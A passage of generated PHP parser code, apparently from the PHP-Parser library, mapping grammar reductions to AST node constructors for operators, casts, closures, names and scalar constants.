($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 275 => function ($stackPos) { $this->semValue = array(null, $this->semStack[$stackPos-(1-1)]); }, 276 => function ($stackPos) { $this->semValue = null; }, 277 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 278 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 279 => function ($stackPos) { $this->semValue = 0; }, 280 => function ($stackPos) { $this->semValue = 0; }, 281 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 282 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 283 => function ($stackPos) { $this->checkModifier($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $this->semValue = $this->semStack[$stackPos-(2-1)] | $this->semStack[$stackPos-(2-2)]; }, 284 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PUBLIC; }, 285 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PROTECTED; }, 286 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PRIVATE; }, 287 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_STATIC; }, 288 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_ABSTRACT; }, 289 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_FINAL; }, 290 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 291 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 292 => function ($stackPos) { $this->semValue = new Node\VarLikeIdentifier(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 293 => function ($stackPos) { $this->semValue = new Stmt\PropertyProperty($this->semStack[$stackPos-(1-1)], null, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 294 => function ($stackPos) { $this->semValue = new Stmt\PropertyProperty($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 295 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 296 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 297 => function ($stackPos) { $this->semValue = array(); }, 298 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 299 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 300 => function ($stackPos) { $this->semValue = new Expr\Assign($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 301 => function ($stackPos) { $this->semValue = new Expr\Assign($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 302 => function ($stackPos) { $this->semValue = new Expr\AssignRef($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 303 => function ($stackPos) { $this->semValue = new Expr\AssignRef($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 304 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 305 => function ($stackPos) { $this->semValue = new Expr\Clone_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 306 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Plus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 307 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Minus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 308 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Mul($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 309 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Div($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 310 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Concat($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 311 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Mod($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 312 => function ($stackPos) { $this->semValue = new Expr\AssignOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 313 => function ($stackPos) { $this->semValue = new Expr\AssignOp\BitwiseOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 314 => function ($stackPos) { $this->semValue = new Expr\AssignOp\BitwiseXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 315 => function ($stackPos) { $this->semValue = new Expr\AssignOp\ShiftLeft($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 316 => function ($stackPos) { $this->semValue = new Expr\AssignOp\ShiftRight($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 317 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Pow($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 318 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Coalesce($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 319 => function ($stackPos) { $this->semValue = new Expr\PostInc($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 320 => function ($stackPos) { $this->semValue = new Expr\PreInc($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 321 => function ($stackPos) { $this->semValue = new Expr\PostDec($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 322 => function ($stackPos) { $this->semValue = new Expr\PreDec($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 323 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BooleanOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 324 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BooleanAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 325 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 326 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 327 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 328 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 329 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 330 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 331 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 332 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Concat($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 333 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Plus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 334 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Minus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 335 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Mul($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 336 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Div($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 337 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Mod($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 338 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\ShiftLeft($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 339 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\ShiftRight($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 340 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Pow($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 341 => function ($stackPos) { $this->semValue = new Expr\UnaryPlus($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 342 => function ($stackPos) { $this->semValue = new Expr\UnaryMinus($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 343 => function ($stackPos) { $this->semValue = new Expr\BooleanNot($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 344 => function ($stackPos) { $this->semValue = new Expr\BitwiseNot($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 345 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Identical($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 346 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\NotIdentical($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 347 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Equal($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 348 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\NotEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 349 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Spaceship($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 350 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Smaller($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 351 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\SmallerOrEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 352 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Greater($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 353 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\GreaterOrEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 354 => function ($stackPos) { $this->semValue = new Expr\Instanceof_($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 355 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 356 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 357 => function ($stackPos) { $this->semValue = new Expr\Ternary($this->semStack[$stackPos-(5-1)], $this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 358 => function ($stackPos) { $this->semValue = new Expr\Ternary($this->semStack[$stackPos-(4-1)], null, $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 359 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Coalesce($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 360 => function ($stackPos) { $this->semValue = new Expr\Isset_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 361 => function ($stackPos) { $this->semValue = new Expr\Empty_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 362 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 363 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE_ONCE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 364 => function ($stackPos) { $this->semValue = new Expr\Eval_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 365 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 366 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE_ONCE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 367 => function ($stackPos) { $this->semValue = new Expr\Cast\Int_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 368 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes; $attrs['kind'] = $this->getFloatCastKind($this->semStack[$stackPos-(2-1)]); $this->semValue = new Expr\Cast\Double($this->semStack[$stackPos-(2-2)], $attrs); }, 369 => function ($stackPos) { $this->semValue = new Expr\Cast\String_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 370 => function ($stackPos) { $this->semValue = new Expr\Cast\Array_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 371 => function ($stackPos) { $this->semValue = new Expr\Cast\Object_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 372 => function ($stackPos) { $this->semValue = new Expr\Cast\Bool_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 373 => function ($stackPos) { $this->semValue = new Expr\Cast\Unset_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 374 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes; $attrs['kind'] = strtolower($this->semStack[$stackPos-(2-1)]) === 'exit' ? Expr\Exit_::KIND_EXIT : Expr\Exit_::KIND_DIE; $this->semValue = new Expr\Exit_($this->semStack[$stackPos-(2-2)], $attrs); }, 375 => function ($stackPos) { $this->semValue = new Expr\ErrorSuppress($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 376 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 377 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 378 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 379 => function ($stackPos) { $this->semValue = new Expr\ShellExec($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 380 => function ($stackPos) { $this->semValue = new Expr\Print_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 381 => function ($stackPos) { $this->semValue = new Expr\Yield_(null, null, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 382 => function ($stackPos) { $this->semValue = new Expr\YieldFrom($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 383 => function ($stackPos) { $this->semValue = new Expr\Closure(['static' => false, 'byRef' => $this->semStack[$stackPos-(10-2)], 'params' => $this->semStack[$stackPos-(10-4)], 'uses' => $this->semStack[$stackPos-(10-6)], 'returnType' => $this->semStack[$stackPos-(10-7)], 'stmts' => $this->semStack[$stackPos-(10-9)]], $this->startAttributeStack[$stackPos-(10-1)] + $this->endAttributes); }, 384 => function ($stackPos) { $this->semValue = new Expr\Closure(['static' => true, 'byRef' => $this->semStack[$stackPos-(11-3)], 'params' => $this->semStack[$stackPos-(11-5)], 'uses' => $this->semStack[$stackPos-(11-7)], 'returnType' => $this->semStack[$stackPos-(11-8)], 'stmts' => $this->semStack[$stackPos-(11-10)]], $this->startAttributeStack[$stackPos-(11-1)] + $this->endAttributes); }, 385 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 386 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 387 => function ($stackPos) { $this->semValue = new Expr\Yield_($this->semStack[$stackPos-(2-2)], null, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 388 => function ($stackPos) { $this->semValue = new Expr\Yield_($this->semStack[$stackPos-(4-4)], $this->semStack[$stackPos-(4-2)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 389 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes; $attrs['kind'] = Expr\Array_::KIND_LONG; $this->semValue = new Expr\Array_($this->semStack[$stackPos-(4-3)], $attrs); }, 390 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes; $attrs['kind'] = Expr\Array_::KIND_SHORT; $this->semValue = new Expr\Array_($this->semStack[$stackPos-(3-2)], $attrs); }, 391 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 392 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes; $attrs['kind'] = ($this->semStack[$stackPos-(4-1)][0] === "'" || ($this->semStack[$stackPos-(4-1)][1] === "'" && ($this->semStack[$stackPos-(4-1)][0] === 'b' || $this->semStack[$stackPos-(4-1)][0] === 'B')) ? Scalar\String_::KIND_SINGLE_QUOTED : Scalar\String_::KIND_DOUBLE_QUOTED); $this->semValue = new Expr\ArrayDimFetch(new Scalar\String_(Scalar\String_::parse($this->semStack[$stackPos-(4-1)]), $attrs), $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 393 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 394 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 395 => function ($stackPos) { $this->semValue = array(new Stmt\Class_(null, ['type' => 0, 'extends' => $this->semStack[$stackPos-(7-3)], 'implements' => $this->semStack[$stackPos-(7-4)], 'stmts' => $this->semStack[$stackPos-(7-6)]], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes), $this->semStack[$stackPos-(7-2)]); $this->checkClass($this->semValue[0], -1); }, 396 => function ($stackPos) { $this->semValue = new Expr\New_($this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 397 => function ($stackPos) { list($class, $ctorArgs) = $this->semStack[$stackPos-(2-2)]; $this->semValue = new Expr\New_($class, $ctorArgs, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 398 => function ($stackPos) { $this->semValue = array(); }, 399 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-3)]; }, 400 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 401 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 402 => function ($stackPos) { $this->semValue = new Expr\ClosureUse($this->semStack[$stackPos-(2-2)], $this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 403 => function ($stackPos) { $this->semValue = new Expr\FuncCall($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 404 => function ($stackPos) { $this->semValue = new Expr\StaticCall($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 405 => function ($stackPos) { $this->semValue = new Expr\StaticCall($this->semStack[$stackPos-(6-1)], $this->semStack[$stackPos-(6-4)], $this->semStack[$stackPos-(6-6)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 406 => function ($stackPos) { $this->semValue = $this->fixupPhp5StaticPropCall($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 407 => function ($stackPos) { $this->semValue = new Expr\FuncCall($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 408 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 409 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 410 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 411 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 412 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 413 => function ($stackPos) { $this->semValue = new Name\FullyQualified(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 414 => function ($stackPos) { $this->semValue = new Name\Relative(substr($this->semStack[$stackPos-(1-1)], 10), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 415 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 416 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 417 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 418 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 419 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 420 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 421 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 422 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 423 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 424 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 425 => function ($stackPos) { $this->semValue = null; }, 426 => function ($stackPos) { $this->semValue = null; }, 427 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 428 => function ($stackPos) { $this->semValue = array(); }, 429 => function ($stackPos) { $this->semValue = array(new Scalar\EncapsedStringPart(Scalar\String_::parseEscapeSequences($this->semStack[$stackPos-(1-1)], '`', false), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes)); }, 430 => function ($stackPos) { foreach ($this->semStack[$stackPos-(1-1)] as $s) { if ($s instanceof Node\Scalar\EncapsedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '`', false); } }; $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 431 => function ($stackPos) { $this->semValue = array(); }, 432 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 433 => function ($stackPos) { $this->semValue = $this->parseLNumber($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes, true); }, 434 => function ($stackPos) { $this->semValue = new Scalar\DNumber(Scalar\DNumber::parse($this->semStack[$stackPos-(1-1)]), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 435 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes; $attrs['kind'] = ($this->semStack[$stackPos-(1-1)][0] === "'" || ($this->semStack[$stackPos-(1-1)][1] === "'" && ($this->semStack[$stackPos-(1-1)][0] === 'b' || $this->semStack[$stackPos-(1-1)][0] === 'B')) ? Scalar\String_::KIND_SINGLE_QUOTED : Scalar\String_::KIND_DOUBLE_QUOTED); $this->semValue = new Scalar\String_(Scalar\String_::parse($this->semStack[$stackPos-(1-1)], false), $attrs); }, 436 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Line($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 437 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\File($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 438 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Dir($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 439 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Class_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 440 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Trait_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 441 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Method($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 442 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Function_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 443 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Namespace_($this->startAttributeStack[$stackPos-(1-1)] + 